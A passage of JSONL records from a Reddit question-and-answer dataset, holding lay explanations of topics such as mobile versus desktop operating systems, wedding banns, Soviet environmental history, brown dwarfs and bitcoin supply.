completely.\n\nwindows and other desktop OSes are designed to keep all processes at all times\u2014resuming them after sleep or even hibernation. a process doesn't really need to be aware of system events.\n\nandroid and other mobile OSes try to conserve battery by pausing, suspending and even killing off processes that are not visible to user. by pausing i mean messages that are sent to processes saying, \u201cyou are no longer visible to user, stop doing stuff\u201d. suspending is similar to putting your computer to sleep, but applies to a single process. and killing off is just that\u2014on android, unless your application is visible to user, it can be just shut down without warning at any time. as you can imagine, this makes developing mobile applications a tad more complicated.\n\nas processes on mobile OSes can't be sure they will be alive, the OS provides a mechanism of notifications that are fired upon various events such as screen on/off, connectivity status changes, receiving data such as whatsapp messages, etc. these notifications can resume and even restart killed processes.\n\nadditionally, many of these notifications are implemented in hardware and do not require a working cpu. so most newer mobile phones have been designed in such a way that they are able to sleep/wake nearly instantly, and in perfect conditions sleeping is what they are doing most of the time.", "Side question: why is it that every single app wants access to my contacts, calendar, and call logs? \n\nI've got ~~CM~~ CyanogenMod Privacy Guard on. It says how many times an app has accessed a certain permission. 90% of my apps have these contact, calendar, and call log permissions. But most have never tried to use this permission, even my most iffy apps. Why?", "the big difference is in the support of running/supporting any damn thing that you found on ebay, which was manufactured some time in the past 10 to 20 years.\n\nMajor operating systems include drivers for god damn everything.\n\n- That old floppy drive that hasn't even been economical to use for the past 10 years? Supported.\n\n- That zip drive? Supported.\n\n- Printer? Let's not talk about the big print driver change that Win Vista introduced. (though admittedly, laser printers and PostScript compatible printers were still probably usable).\n\n- Did you see that old IBM ML-320 continuous-feed carbon-paper line printer being used at the hospital? (seriously, saw one during an appointment last week)... supported\n\nportable devices don't need to support every god damn stupid ass thing we throw at it... mostly because they're manufactured with specs that define 90% of the hardware... your phone or tablet will always have the same cell antenna, same wifi adapter, same graphics chipset... you may add an SD card, but the diversity of what needs to be supported is easily at least one order of magnitude smaller than a desktop/server.", "What is this?  Somebodies CS homework assignment?", "Interesting tangential fact --\n\nThe Linux kernel powers both desktop computers and mobile (Android) phones:\n\n* A laptop will only use about 18% of the Linux kernel codebase\n\n* An Android phone uses about 25% of the Linux kernel codebase.", "At an ELI5 level, there's little difference.  An operating system abstracts the hardware away from the software, which in turn allows a user to do things with the device (be it a PC, phone, tablet, TV, etc) like use a camera or make a phone call.\n\nA desktop OS (like Windows, Linux and macOS) allow for more features, such as graphics cards or printers, by providing a broader range of abstraction.  OS variations, like Android and iOS, are far more specialised, typically designed for a far narrower scope (like your phone, or a purpose built TV) but they're basically the same.\n\nThey're all pretty clever when it comes to process management and security so you don't have to worry about it :)", "There's more the same than different; most of the differences have to do with different user needs.\n\nA mobile OS has to consider:\n\n* Different security needs: a lot of personal information is collected on a mobile device to make it useful, and they are easier to lose or have stolen, so different security protections need to be in place\n\n* Power efficiency: your battery needs to last all day during \"typical\" use, and it has to do this even though the battery is _way_ smaller than a laptop battery\n\n* Carrier requirements: if your device will be on a mobile phone network, it has to worry about protecting that network and allowing some functions to be managed by the carrier (stuff to do with the cellular radio and related parts). And you have to do this without allowing the carrier to access private information on the phone.\n\n* Small screen size: the OS has to look nice and be useful on a very tiny screen, especially compared to a laptop\n\n* Lack of stuff being plugged in: this is a plus and a minus for mobile OS makers -- there's not much in the way of equipment that actually connects to the phone. Not having keyboards or mice means the OS has to have other ways for you to provide information to it.  But it also means that the OS maker doesn't need to worry about supporting a huge range of hardware.\n\n\nThese things are enough of a challenge that making a new OS made a lot of sense. And since people are making a _new_ OS, they had the opportunity to do other things that people wouldn't accept on desktop OSes (but they could certainly _do_; it's a social, not tech problem):\n\n* Quietly suspend or quit applications you're not actively using. Saves battery, helps keep the system stable. App makers have to plan for it.\n\n* Sandboxing: heavily restricting what each App can do, and what it can see. If each App is a kid, imagine a playground where they all get their own sandbox to play in and they can't leave it.  Great for security, kind of annoying for the App makers.  This is leaking back into Desktop OSes; Mac apps sold through the Mac App Store are sandboxed as well.\n\n* Restricted sources for apps: iOS and Android handle this differently, but by default both only allow you to install apps from their app stores. And they have requirements about what can go into the app store. This makes it less likely that users will install something malicious. Apple is more \"iron fist\" about it, which is safer for users but also means Apple makes more money and can enforce whatever rules it wants about what apps can do. \n\n", "As far as the actual operating system (the hardware abstraction layer) is concerned, there isn't any real difference between \"desktop\" and \"smartphone\" operating systems nowadays. In fact, Android is just as much a Linux system as Ubuntu is, for example. It's the exact same operating system kernel, configured and patched somewhat for the respective use (like, desktop machines tend to be connected to the power grid, so performance is more of a priority, while a phone will have a very small battery, so conserving power is more important).\n\nAlmost all the difference is in the user interface, and how that user interface manages permissions, and in how the manufacturer of the hardware prevents you from using the hardware that you supposedly own in the way that you want to use it. If you happen to have an Android phone that's not locked against you, you can actually just copy programs from Ubuntu or Debian to it and run them (assuming it's compiled for the appropriate CPU architecture, but that's just a minor technicality). Now, they won't be able to display anything on the phone's screen by default, because Android uses a completely different user iterface than your standard Linux distribution, but you can run the program, and either displax its output on a different computer, or use some adapter Android app that shows you the output in the Android user interface.", "To many people are dancing around the actual answer in here. There is no fundamental difference between a mobile OS and a desktop OS. You can ask about what the difference between two operating systems, but at the base level, they all work the same.", "I'm going to be honest with you here, the large majority of responses here are not correct or nearly correct. \nIn this case I'm going to compare iOS to macOS, they are the closest together (To directly compare desktop to mobile). \nUnderstand that iOS and OSX Both use the same base 'kernel' (Think operating system without everything you see, files, processes, etc.)\n\nFile systems: \nBoth use the Same Filesystem but with modifications and macOS allows the user to access files. iOS Introduced something called sandboxing. Sandboxing is only allowing apps to touch files in a folder dedicated to them and nothing else.  This is also true to process management on iOS. \nBy putting apps in this 'shell' security is nearly absolute when working with third party apps. macOS introduced this with the Mac App store five years ago. macOS Still allows for non-App Store apps however but even then all app developers need to register for their app to run on a Mac. \n\nBeyond those portions, the big differences are in the processor architecture used (ARM for iOS, Intel for macOS) (This is purely due to Arm's power consumption) And in interface differences.\n\nThe more direct you interact with a device the faster you expect it to perform. Notice how you get pissed off with a 5 second wait on a phone faster than on a desktop. It's because you used your finger.\nThis is why the last big difference exists:\nApps.\nPhones have slower networking performance commonly, when you combine that with low wait expectations you find some pretty massive problems to solve. One of theses is page load time. Building mobile apps allows for you to take all the data, like headers of pages and style and logic and pack it into a box that only needs to load the raw data, this turns a 3,000kb web page load to a 3kb data transfer. (In addition the app can use native code to make for better response and experience on touch devices.)\n\nThere is a lot to talk about but that's really the simple form.\nSource: Am iOS Developer for a living, responsible for code on more than 3 Million devices. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "3p8z1n", "title": "How is heat transferred through the glass??", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3p8z1n/how_is_heat_transferred_through_the_glass/", "answers": {"a_id": ["cw4p5em"], "score": [4], "text": ["1. Some photons pass through glass and heat up what's on the other side.\n\n2. Atoms with higher temperature hit the glass atoms and make them vibrate. The vibration spreads through the glass and then the atoms on the other side of the glass bounce off of the glass atoms and take some of the vibration energy away (heat up).\n\nLook up *heat conduction* on wiki."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2j1cpq", "title": "How did it come to be that we say \"speak now, or forever hold your peace\" at weddings? Was there a time where objections were common?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2j1cpq/how_did_it_come_to_be_that_we_say_speak_now_or/", "answers": {"a_id": ["cl7mmqo", "cl7mv6g"], "score": [220, 46], "text": ["Two issues are involved here: First, the medieval church\u2019s regulation of the degrees of [consanguinity] (_URL_1_) and [affinity] (_URL_0_ within which people could not marry.  Second, the shift in the 12th century to a \u201cconsent theory\u201d of marriage by which a couple married each other by exchanging \u201cwords of the present [tense]\u201d (*verba de praesenti*)\u2014\u201cI take you to be my husband/wife\u201d\u2014regardless of whether witnesses or a priest was present to bless the marriage.  If they exchanged vows this way without witnesses or a priest, the marriage was said to be \u201cclandestine\u201d (secret).  It was legal (i.e., a valid, binding sacrament) though not licit (i.e., allowed).  The problem was that a man (or I guess sometimes a woman) could seduce a maiden into a clandestine marriage, sleep with her, and then deny that there had been any exchange of vows.  He might even already have been married.\n\nTo combat both clandestine marriages and people marrying within forbidden degrees of relationship the [4th Lateran Council of 1215] (_URL_2_) ordered (in Canon 51) this: \n\n > [W]e absolutely forbid clandestine marriages; and we forbid also that a priest presume to witness such. Wherefore, extending to other localities generally the particular custom that prevails in some, we decree that when marriages are to be contracted they must be announced publicly in the churches by the priests during a suitable and fixed time, so that if legitimate impediments exist, they may be made known.\n\nIn England, this public announcement was called \u201cbanns.\u201d Priests were obliged to announce an upcoming marriage three Sundays in a row to allow anyone who knew of impediments to the marriage (clandestine marriage, couples related within forbidden degrees, bigamy) to come forward to \u201cspeak now or forever hold your peace.\u201d\n\nSource: I\u2019m assuming you can find details in Jacqueline Murray\u2019s *Love, Marriage, and Family in the Middle Ages: A Reader* (2001) or Frances  &  Joseph Gies\u2019 *Marriage and the Family in the Middle Ages* (1989). I relying on my general knowledge.\n", "It is directly related to the practice of publishing the [banns of marriage](_URL_1_), which is still done in the UK. Before a couple could get married, it is/was required that they publish, for several weeks beforehand, notice of their intent to be married (there are now in Britain alternative procedures available as well). \"Bann\" simply means \"proclamation\".\n\nObjections would not be something like \"I just don't think these two are right for each other,\" but a real impediment that makes it not a legal marriage. For example, if one party is already married and had not been legally divorced, there could not be a valid marriage. (It used to be quite common for men to simply abandon their wives, since divorce was much harder to obtain in the past.)\n\nThe Catholic Church (and possibility others, like the Anglican Church), also has very complex rules about consanguinity\u2014how closely a couple may be related to have a legal marriage. If too close, there can be no marriage, unless a special dispensation is granted.\n\nAnother possibility is that of a forced marriage: if anyone had evidence that either party was being forced into the marriage against his or her will, then that of course would also make it invalid.\n\nFinally, there were then as now laws creating a minimum age for marriage. The [Marriage Act of 1753](_URL_0_) made 21 the minimum age for marriage, unless parental consent had been obtained. Since premarital sex was highly discouraged, young lovers would often try to get married quickly and without the approval of their parents. Parents of people under 21 could forbid the issuing of the banns and block the marriage. As a result, many couples eloped to other towns where their parents couldn't find them to block the banns, or to Scotland\u2014where one could get married at the age of 16 without parental consent.\n\nThe \"speak now or forever hold your peace\" is just a sort of \"last call\" for these banns. It would be highly unlikely for anyone to actually announce an objection *at* the ceremony\u2014it could be done several weeks before\u2014but it provided a final warning that the period for objections to the invalid marriage was about to expire. And, as stated, these objections would be only to the *legality* of the marriage, not the *wisdom* of it.\n\nA marriage can of course be annulled after the fact, but this is a more difficult process, so it would be important to have these concerns dealt with beforehand."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Affinity_(canon_law)", "http://en.wikipedia.org/wiki/Consanguinity", "http://www.fordham.edu/halsall/basis/lateran4.asp"], ["http://en.wikipedia.org/wiki/Marriage_Act_1753", "http://en.wikipedia.org/wiki/Banns_of_marriage"]]}
{"q_id": "3lghb0", "title": "Do/did Communist regimes (like Cuba, the Soviet Union, Czechoslovakia, China) have better environmental track records?", "selftext": "Excluding outliers like Chernobyl of course.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3lghb0/dodid_communist_regimes_like_cuba_the_soviet/", "answers": {"a_id": ["cv66f6u", "cv6k5xr"], "score": [5, 3], "text": ["Environmentalism in East Germany was a big part of the counter culture/youth protest movement that brought about the collapse of the GDR. Environmental concerns that were commonplace in the 70's and 80's like acid rain, destruction of forests and rain forests, industrial pollution, spurred independent green activists groups that became immensely popular in East Germany. Literally hundreds of small groups brought environmental concerns into public conversation. \n\nThe protesters often focused on how the promised socialist and state ideal of a well managed, clean environment unaffected by the destruction caused by capitalism was far from reality. The countryside and air quality of the GDR and been vastly degraded by the use of coal, mining of coal, and state focus on heavy industy and production at the expense of health and environmental concerns. The groups began to gather evidence of the poor state of the GDR environment and in response the state classified environmental reports and criminalized those groups involved. Eventually, many of these groups would become associated with anti-state movements, anti-communism, women's issues, etc...which promulgated the green movement into the growing amalgamation of groups against the government. Chernobyl of course only furthered the cause and concern of the green movement, and was used as evidence of failure of communist governments to live up their promises and ideals.", "Although the West's environmental record during the Cold War is nothing to brag about, the Eastern bloc's environmental record was abysmal in comparison. The Stalinist state's attitude towards the natural world was that it was there to serve man. The result was a highly rapacious attitude that ruthlessly exploited natural resources to their fullest with little regard to the wider impact of these policies. Where preservation of the natural world was a priority to the Stalinist state it was usually framed in terms wherein nature had to be preserved for the benefit of humanity's leisure for such healthy activities like hiking. There was seldom an attitude that natural world had to be protected for its own sake. This attitude towards the environment, termed by some historians Soviet Prometheanism, never really went away in the Soviet and the affiliated bloc. Although post-Stalinist development projects in the Eastern bloc did not have the same tendency towards giganticism as its predecessor, the shared a similiar set of mentalities that prioritized production and expedient solutions to energy issues and waste disposal.  \n\nThe Stalinist industrial drive of the 1930s and late 40s/50s, there was little to no attempt to regulate air pollution. Although the West had begun to institute some half-hearted measures for air pollution control in the 1930s, the Soviets did not.  The result was  significant damage to air quality in Soviet cities.  The Institute of General and Community Sanitation of the Academy of Medical Science of the Soviet Union conducted a series of studies in 1958 and 1959 that found strong correlations between air pollution and various health problems. In the RSFSR, only 40% of any city had a form of sewage treatment in 1960, which added to the environmental degradation of Soviet waterways along with industrial runoff. \n\nIn light of this obvious health problem, the Khrushchev and Brezhnev regimes began to address the issue of pollution. But the new environmental regulations were honored more in breach than fact. The state seldom enforced these new regulations and the new directives often got lost in the bureaucratic maze of Gosplan. One problem with these new environmental regulations was their implementation was sometimes left in the responsibility of Soviet factory managers. When faced with the option of keeping pollution goals and not meeting production targets, many managers knew that the state cared far more about the latter and ignored the new rules. A 1983 Swedish report on sulfur dioxide emissions reported that the GDR, Czechoslovakia, and the USSR were by far the leading European producers of this pollutant. Although the USSR had begun to import pollution control equipment from the West in the late 1970s, such equipment was expensive and required increasingly scarce hard currency. As such, serious efforts to create factory plant with environmental safeguards was limited to Potemkin villages to showcase to the West that the planned Soviet economy was able to meet environmental regulations of the West. The growth of the environmental movement in the West in the 1970s surprised a number in the Soviet leadership and the Brezhnev era's increasing regulations was more concerned with scoring political points against capitalism than actually safeguard the environment. \n\nA series of environmental disasters of the 1970s and 80s showed the lack of any firm commitment to enforcing these laws. Although Chernobyl was the most famous disaster, there were a litany of environmental disasters that showcased how industrial neglect compounded over decades of Promethean development. The metallurgical site of Dneprodzerzhinsk, Ukraine was one of the most polluted sites in the USSR with pollutant levels that exceeded most indices for safe living.  By the 1980s, most Georgian waterways were polluted and various reservoirs accumulated massive amounts of pollutants. The Soviet domestic freshwater fishing industry underwent a slow collapse in the 1960s and despite efforts of protection at prestige projects like Lake Baikal, the freshwater fishing industry never recovered. \n\nThe Soviet state compounded the problem by seldom publishing any data on its environmental impact and the state-controlled press seldom examined any issues on the environment. Rachel Carson's book *Silent Spring*, which was hugely influential in the West, had no analogue in Eastern bloc. Access to Carson's book was actually restricted throughout much of the Soviet period. The few public discussions about the environment that did occur in Soviet discourse tended to be frame the environment as a resource to be preserved for human leisure. While this consumptive approach to environmentalism also found many adherents in the West as well, it is a very narrow and selective frame which to approach environmental matters that focuses upon those aspects of the natural world which the wider culture values- for example, valuing large natural vistas over \"pest\" creatures like wolves.  The creation of a series of nature reserves began in the 1970s and helped shelter some endangered species from further hunting, but their success reflected more the remoteness of these sites and their regulation reflected the concerns of the Soviet government over controlling the movements of its population. The Soviets consistently falsified its data on its whaling operations which were much more extensive than the figures reported to the International Whaling Commission.   \n\nTherefore, Chernobyl was not so much of an outlier to Soviet environmental problems as an extreme, but typical, example of how the Soviet approach to the environment was careless and short-sighted. \n\n*Sources* \n\nJosephson, Paul R. *An Environmental History of Russia*. Cambridge: Cambridge University Press, 2013.    \n\nPryde, Philip R. *Environmental Management in the Soviet Union*. Cambridge: Cambridge University Press, 1991. \n\nWard, Christopher J. *Brezhnev's Folly The Building of BAM and Late Soviet Socialism*. Pittsburgh, Pa: University of Pittsburgh Press, 2009.   "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "lvfgi", "title": "Can an astronomical object have a significantly larger radius than that of a gas giant like Jupiter without undertaking fusion and thus being a star?", "selftext": "Apparently, most brown dwarfs don't get much larger than Jupiter and only increase in density after that. Are there any known examples of objects which don't follow this rule?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/lvfgi/can_an_astronomical_object_have_a_significantly/", "answers": {"a_id": ["c2vwme8", "c2vwrib", "c2vx9kw", "c2vydvx", "c2vwme8", "c2vwrib", "c2vx9kw", "c2vydvx"], "score": [3, 4, 2, 3, 3, 4, 2, 3], "text": ["Jupiter would need to be about 80 times more massive than it is in order for it to undergo ignition.  It isn't the radius so much as the mass that is important.", "Even many M and L dwarf stars, which are similar in mass and luminosity to brown dwarfs but are massive enough to ignite fusion (they'd have brown dwarf-like luminosities because they're older), have comparable radii to Jupiter. If you put a ball of gas with that sort of mass together, you're going to be able to make it stable at more than 1 to 1.5 or so times Jupiter's mass because it won't be in hydrodynamic equilibrium - its gas pressure will be too small to counteract its own gravity, and the gas will collapse until those two balance each other out.", "Superjovians and brown dwarfs all have a radius comparable to that of Jupiter. As far as I know, the largest are hot gas giants which have their atmospheres puffed out by the higher temperatures, but they're still only about twice the size of Jupiter at most.", "Sure, you just need a loophole!\n\n_URL_0_\n\nA supermassive black hole can easily have a Schwarzchild radius greater than the radius of the planet Jupiter, and the object is definitely not undergoing fusion and acting as a star. ", "Jupiter would need to be about 80 times more massive than it is in order for it to undergo ignition.  It isn't the radius so much as the mass that is important.", "Even many M and L dwarf stars, which are similar in mass and luminosity to brown dwarfs but are massive enough to ignite fusion (they'd have brown dwarf-like luminosities because they're older), have comparable radii to Jupiter. If you put a ball of gas with that sort of mass together, you're going to be able to make it stable at more than 1 to 1.5 or so times Jupiter's mass because it won't be in hydrodynamic equilibrium - its gas pressure will be too small to counteract its own gravity, and the gas will collapse until those two balance each other out.", "Superjovians and brown dwarfs all have a radius comparable to that of Jupiter. As far as I know, the largest are hot gas giants which have their atmospheres puffed out by the higher temperatures, but they're still only about twice the size of Jupiter at most.", "Sure, you just need a loophole!\n\n_URL_0_\n\nA supermassive black hole can easily have a Schwarzchild radius greater than the radius of the planet Jupiter, and the object is definitely not undergoing fusion and acting as a star. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://en.wikipedia.org/wiki/Supermassive_black_hole"], [], [], [], ["http://en.wikipedia.org/wiki/Supermassive_black_hole"]]}
{"q_id": "6i7cvh", "title": "technological unemployment and the possible impact on society", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6i7cvh/eli5_technological_unemployment_and_the_possible/", "answers": {"a_id": ["dj43tex"], "score": [3], "text": ["The basic idea is that, as machines get better at doing more and more things, they will start to reduce the need for human workers or replace them altogether.  For example, if self-driving cars catch on, then we won't need nearly as many truck drivers, taxi drivers, and so on.  That will lead to a lot of unemployed truck and taxi drivers, who will either have to train for other jobs or who will end up collecting welfare.\n\nWhat we don't know is how fast this will happen, how many jobs will get replaced, and how hard it will be to retrain people for new jobs.  What we do know is that technology has been replacing jobs for the last 250 years or so (do you know many barrel-hoopers, cobblers, or buggy-whip makers?) and that the technological advances usually result in higher productivity and a higher standard of living overall.  We also know that some people suffer pretty badly because they can't or won't retrain to other jobs, or their jobs become very low-paying.\n\nSome people think that we will need to implement some form of universal basic income so all the newly-unemployed people won't starve in the streets.  Others think that we will all end up making money by developing phone apps or making funny YouTube videos (or other creative careers that don't even exist yet)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3etpy1", "title": "why do we think so differently even if our brains are practically the same?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3etpy1/eli5why_do_we_think_so_differently_even_if_our/", "answers": {"a_id": ["ctian2m", "ctianec", "ctib8wq"], "score": [8, 3, 3], "text": ["Our brains are all made of the same things but how we think depends on our genetics and environment.\n\nImagine giving raw materials for a teddy bear to 1,000 people on Etsy who make stuffed animals. Everyone starts with the same materials but each completed bear will be slightly different. Some people will hand sew each part while others may use a sewing machine. Some people may put their own creative touches to making the bear. This is the genetics influencing how our brains are initially shaped.\n\nNow, these 1,000 finished teddy bears are given to 1,000 children all across the world. A few years later, you go and check the status of the bears. Some of the bears are completely worn out from being held and taken every where. Others were played with once and then put into storage. Sure, some of the differences in design (genetics) may have caused children to have different impressions of the bears. Maybe it just looked unappealing so the child stopping playing with it. However, some of the bears could be in the same condition even if they started out looking completely different. \n\nThis is the influence of the environment on our brains. With time, we experience new things that can either reinforce what we believe or change our thoughts towards the world.", "We, humans, think differently than one another primarily due to our different upbringings and respective experiences that shaped who we are. Built right into that is culture, education and regional differences. These, and more factors, add up to creating our personalities, which reflect on how we act.\n\nTo make a slightly nerdy analogy, different computers have effectively the same processor (or \"brain\"), but run different operating systems and software.", "Buy two computers which are the same. Install different operating systems. Different programming languages. Browse different sites. Keep one super clean while letting the other attract dust. You will sooner or later come to different results."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "7jmsrd", "title": "The Nazis propagated the \"Stab in the Back\" myth - but what did they argue that the Jews actually *did* to cause Germany to lose WWI?", "selftext": "Of course, they blamed other political enemies too, like the bolsheviks and whatnot. Proponents argued that these \"enemies\" betrayed the German army and the country, but how exactly did these \"enemies\" accomplish that? Did the Nazis have any proof?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7jmsrd/the_nazis_propagated_the_stab_in_the_back_myth/", "answers": {"a_id": ["dr8njgq"], "score": [16], "text": ["This \"Stab in the Back\" myth originates not from the Nazis, but from the military dictators of the OHL (Oberstheere Leitung) who were basically in control of Germany at that time, Paul von Hindenburg and Erich von Ludendorff. \n\nThe German army had been decisively defeated in the Hundred Days Offensive of autumn 1918. However this was not widely known by the German public (who thought they still had a chance of winning). Not only that most of the German army was still in the occupied bits of France and Belgium at that time.  Both Hindenburg and Ludendorff desired to promote the view that the German army had never been defeated in the field, but it was internal turmoil within the country itself that had damaged it severely enough that the German army was no longer able to function effectively. There were several convenient examples at their disposal, like the Kiel mutinies of German sailors in October 1918.  \n\nIt was amazing how much both Hindenburg and Ludendorff managed to deflect all blame for losing the war from themselves. First, they handed over control of the government to the Social Democratic Party, such that they would have to be the one to negotiate the armistice at Versailles in 1918.  Then in January 1919, the Spartacist Uprising, led by Karl Liebnicht and Rosa Luxembourg occurred. Communists of the KPD and USPD seized multiple key buildings in downtown Berlin.  The uprising was eventually put down ruthlessly by the police working in tandem with the right wing Freikorps but damage had already been done.  \n\n The OHL pointed to that uprising and used it as the biggest scapegoat for Germany's failure to achieve victory in WW1. Now they had clear \"evidence\" that internal revolution by the communists, not battlefield loss had caused Germanys defeat in WW1.  \n\nThis idea was disseminated widely and found widespread following among the right wing nationalists, many whom had been WW1 soldiers returning from the front. They found the communists seizing areas and forcing soldiers to hand over weapons and other munitions. To them it felt like they had been betrayed by countrymen who were trying to tear down everything they had been fighting for. Many joined the Freikorps out of a desire to take revenge.    \n\nAll this time, there had been an increasing association of Jews with communism. This idea hadnt been unique to Germany, but was actually born out of Tsarist Russia, where *some* prominent Bolshevists like Trotsky had Jewish backgrounds. It didnt help that the Tsarist Secret Police had also fabricated a document called *the Protocols of the Elders of Zion* that supposedly outlined the nefarious plans of international Jewry to subvert the morals of Gentiles and establish global hegemony.  This led radical anti-semites to automatically assume that Bolshevism and other far left ideologies were clearly an invention of the Jews meant to destroy national identity. The antisemites of Germany (and elsewhere) lapped up this idea with renewed vigour.  \n\nThe Nazi line of logic is very clear in this. Jews were clearly responsible for communism, and communist uprising was clearly responsible for damaging Germany such that they had effectively lost WW1. Therefore it stood to reason that Jews were clearly responsible for causing Germany to lose WW1. This idea was relentlessly pushed after the Nazis seized power and began their policies of Gleichschaltung (totalitarian control of German society) and pushing antisemitism into mainstream German discourse.  \n\nOn a side note:  there actually isnt much basis for associating Jews with communism. There were *some* prominent communists who were Jews, but many other Jews were decidedly *not* communists. The jews who became communists very often renounced their faith and were usually ostracised, or never had much attachment to their Jewish communities as a whole. \n\nLeft wing movements tend to have inclusivity, which means that Jews and other minorities were free to join regardless of background. This is especially true for ideologies like Bolshevism. \n\nHowever for the anti-semites, who were never used to seeing Jews in positions of power, and now seeing them as figures in the Bolshevik movement, clearly made a leap of logic to confirm their pre-existing biases. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3mob19", "title": "the intense sadness right after masturbation", "selftext": "It's an extreme high, followed by \"What is this filth?! How can I watch this?!\" followed by sadness and some of the darkest moments of one's life.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3mob19/eli5_the_intense_sadness_right_after_masturbation/", "answers": {"a_id": ["cvgpbm1", "cvgr98x"], "score": [5, 2], "text": ["Have you grown up in a Christian or otherwise sexually repressive household? If you've been told your whole life that it is morally wrong to masturbate, than you might be feeling shame.\n\nMasturbation is considered perfectly healthy and natural. [95% of men and 89% of women regularly masturbate.](_URL_3_) Once you stop associating masturbation with feelings of guilt, you won't feel any more intense sadness after masturbation. \n\nMany people who have come from sexually repressive households often feel intense sadness after procreative sex too, so it isn't a problem restricted to masturbation. [Source](_URL_2_) It's unfortunate that so many people are taught that there is something wrong with them for following their most basic of instincts.\n\nHere is a [link](_URL_1_) to the Stigma section of the Wikipedia article on masturbation. Also [here](_URL_0_) is a very well cited section on the health benefits of masturbation.", "Not quite so sure on the sadness aspect, but as for the disgust, our sensitivity to it is turned way down during sex, and masturbation falls into that. Once its over, that lowered feeling of disgust disappears and it just looks nasty again. Also going off the top of my head here so would be very grateful if anyone out there has the sources to back this up"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Masturbation#Health_effects", "https://en.wikipedia.org/wiki/Masturbation#Stigma", "https://en.wikipedia.org/wiki/Post-coital_tristesse", "http://www.webmd.com/sex-relationships/guide/masturbation-guide"], []]}
{"q_id": "2docmy", "title": "why can there only ever be 21 million bitcoins?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2docmy/eli5_why_can_there_only_ever_be_21_million/", "answers": {"a_id": ["cjrfvgc", "cjrg26r"], "score": [8, 3], "text": ["The original creator designed it that way.\n\nThink of mining for Bitcoins like solving for a polynomial equation.  If I give out the equation x^2 - 3x + 2 = 0, and give the first person who finds each unique solution a Bitcoin, only TWO people in the world can get Bitcoins.  There are only two solutions to that equation, x = 1, and x = 2.  \n\nIt's kinda like that for the Bitcoin mining.  There are a limited number of Bitcoins that can be found, capped at that 21 million.", "That's just the way the system was set up mathematically. You get bitcoins for 'mining', but the number of bitcoins you get for it halves every four years as the number of bitcoins in circulation goes up. Eventually, the number of coins given for mining will drop to essentially zero and approach a limit of 21 million.\n\nIf you mean \"why did they set it up like that\", it's because it was intended to prevent oversupply from devaluing the currency."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "d335gu", "title": "why are so many asians bowlegged?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/d335gu/eli5_why_are_so_many_asians_bowlegged/", "answers": {"a_id": ["ezyhymc"], "score": [13], "text": ["I think it's sad this question is being downvoted, because it's a legit observation. The phenomenon is called okyaku and it's quite common, especially in Japanese females. Speculation is that it's from the way they sit, but I couldn't find anything definitive. Here's a good article that explains it pretty simply.\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.japantimes.co.jp/news/2006/09/19/reference/o-kyaku/#.XXnfrrdOl-E"]]}
{"q_id": "2etwj5", "title": "How does flipping a jar of water hold an index card?", "selftext": "In my class we did the classic experiment where we placed an index card on top of a jar of water and the flipped the jar and the index card held up the water.\nI just can't believe that the air pressure/adhesive forces is overcoming the weight/pressure of the water.\n\nCan someone explain this to me?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2etwj5/how_does_flipping_a_jar_of_water_hold_an_index/", "answers": {"a_id": ["ck2xygs", "ck2z2x2", "ck2zy8g"], "score": [9, 31, 7], "text": ["Just to be clear. It was explained to you in class, and you simply don't believe it? What more specific explanation would you like? Perhaps indulge us with your understanding and maybe some light can be she'd on the buts that confuse you. ", "_URL_0_\n\nThis site does a better job at explaining it.  \n\nBut basically the atmosphere pressure is around 14psi.  So it is pushing up on the card at 14psi.  Using a small glass, there isn't enough water to overcome this weight.  \n\nThe trick is wetting the lip and sticking the card to it.  The card sticks to the glass because of the cohesion of water from the card to the glass.  \n\nIf you did the same trick with different size mouths or different volumes with the same size mouth you'd get to a point where the additional surface area or weight of the water would make the card fall off.  ", "The atmospheric pressure is keeping it there.  It's probably better to ask why the water isn't falling out.  Without the card there, the water will appear to just fall out.  What's actually happening is the water is briefly held up by the air, but the waters surface tension isn't strong enough to stop the water surface from breaking up which lets the air push its way into the cup let the water fall out. \n\nYou can feel this effect in action quite easily by filling a basin with water, placing a tall cup in the water, letting the air escape, then slowly pull the cup out upside down.  It will feel as if you're pulling the water up as one piece until the surface tension can no longer resist the atmospheric force and it essentially tears.\n\nIt also might help to try imagine what would happen if you were in a vacuum.  It's a bit more complicated because you have to understand that temperature and pressure are proportional (related). We have to consider this now because water is only liquid at certain temperatures AND pressures.  Drop the pressure and you drop the temperature water needs to be liquid, so the water would just boil away.\n\nYou can also try this at home with a large clear syringe.  Place a small amount of water, just a bit more than a few drops into the syringe and force all the air out, so there's just this water in the syringe.  Now seal the end and the pull down on the syringe.  The water will boil away.  Reverse the process and the water will condense back.  Don't wait too long to reverse it though, making it boil away will cause it's temperature to drop.  It will then warm up while in its gaseous 